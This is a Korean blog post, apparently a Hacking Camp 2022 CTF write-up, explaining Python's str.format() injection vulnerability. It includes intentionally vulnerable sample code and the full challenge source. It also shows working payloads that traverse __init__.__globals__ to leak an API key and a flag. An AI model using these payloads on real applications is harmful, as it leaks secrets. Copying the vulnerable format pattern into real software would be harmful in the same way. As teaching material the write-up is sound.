Python Format Function Vulnerability
Python Format Function Vulnerability
해킹캠프에서 관련된 문제가 나와서 정리를 해보았다.
- 내용 출처
- podalirius.net/en/articles/python-format-string-vulnerabilities/
- geeksforgeeks.org/vulnerability-in-str-format-in-python/
파이썬3에는 format()
함수가 있다.
format에서 객체의 속성에 직접적으로 접근할 수 있다.
코드는 위의 링크에서 가져온 것이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
config = {
'API_KEY' : "212817d980b9a03add91e5814d02"
}
class API(object):
def __init__(self, apikey):
self.apikey = apikey
def renderHTML(self, templateHTML, title, text):
return (templateHTML.format(self=self, title=title, text=text))
if __name__ == '__main__':
if len(sys.argv) != 3:
print("Usage : python3 "+sys.argv[0]+" TEMPLATE CONTENT")
else :
a = API(config['API_KEY'])
print(a.renderHTML(sys.argv[1], "Vuln web render App", sys.argv[2]))
'''
$ ./test.py "<p>{text}</p>" "Wow such string"
<p>Wow such string</p>
'''
이러한 코드가 있을 때, __init__
메소드로 다른 속성들에 접근을 할 수 있다.
1
2
$ ./sandbox.py "<p>{text.__init__}</p>" "Wow such string"
<p><method-wrapper '__init__' of str object at 0x7f8f10a3b9f0></p>
주어진 text가 str 클래스이므로 str 클래스의 객체에 접근했음을 알 수 있다.
- 여기서
__globals__
메소드를 통해 전역 변수들에 접근을 할 수 있는데, config 딕셔너리는 전역 변수이므로 이 값이 나오게 된다. 'config': {'API_KEY': '212817d980b9a03add91e5814d02'},
따라서 이 값을 악의적인 사용자가 얻어낼 수 있게 된다.
1
2
$ ./sandbox.py "<p>{self.__init__.__globals__[config][API_KEY]}</p>" "Wow such string"
<p>212817d980b9a03add91e5814d02</p
이 취약점은 조건이 한정적인 것 같다.
어느 클래스가 있고 그 클래스의 인스턴스가 있을 때, format 함수에서 사용하는 변수가 그 인스턴스에 접근할 수 있을 때 유용한 것 같다.
HACKINGCAMP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import hashlib
import random
import time
SECRET = {
"FLAG" : "HCAMP{**REDACTED**}"
}
class Memo:
def __init__(self):
pass
memo_obj = Memo()
def generate_id(a):
md5_hash = hashlib.md5()
md5_hash.update(str(a).encode("utf-8"))
id = md5_hash.hexdigest()
return id
def register():
user_info = {
"name" : input("Name : "),
"comment" : input("Comment : "),
"id" : ""
}
user_info["id"] = generate_id(str(random.randint(0,255)) + user_info["name"])
return print("Success ! Your ID is {id}".format(id=user_info["id"]))
def textbook():
print("Write what you want")
text = input()
print(f"{text}, Enter successfully !".format(text=memo_obj))
def get_flag():
admin_id = generate_id(str(random.randint(0,2**30)) + "admin")
print(admin_id)
guess = input("Guess Admin's ID. You will get a flag : ")
print("Wait ..")
if admin_id == guess:
time.sleep(3)
print(SECRET["FLAG"])
else:
time.sleep(3)
print("Wrong !")
banner = """
##################################
# Welcome to Hacking Camp 2022 #
# #
# 1) Register #
# 2) Textbook #
# 3) Get Flag #
##################################
"""
def main():
print(banner)
while True:
menu = input(">>> Chooose Menu : ")
if menu == "1":
print("[ Register ]")
register()
elif menu == "2":
print("[ Textbook ]")
textbook()
elif menu == "3":
print("[ Get Flag ]")
get_flag()
else:
print("Oops!")
if __name__ == "__main__":
main()
위의 문제는 해킹캠프에서 misc 문제로 나온 HACKINGCAMP 문제이다.
위의 취약점과 비슷한 취약점이 발생한다.
왜나하면 여기서는 f-string도 있기 때문이다.
1
2
3
4
def textbook():
print("Write what you want")
text = input()
print(f"{text}, Enter successfully !".format(text=memo_obj))
메뉴로 2번을 입력하면 위의 코드가 실행되는데, 입력값을 받은 뒤 text에 저장하고 f-string으로 출력을 해주는데, 포맷 함수에서 text에 memo_obj 인스턴스 변수를 저장한다.
여기서 text 변수가 인스턴스에 접근할 수 있기 때문에 취약점이 발생하게 되는 것이다.
- 그래서
{text.__init__.__globals__}
를 하면 SECRET 변수의 값이 있는 걸 확인할 수 있고, 이 값을 출력해줄 수 있다. ,'SECRET': {'FLAG': 'HCAMP{**REDACTED**}'},
1
2
3
4
5
>>> Chooose Menu : 2
[ Textbook ]
Write what you want
{text.__init__.__globals__[SECRET][FLAG]}
HCAMP{**REDACTED**}, Enter successfully !
This post is licensed under CC BY 4.0 by the author.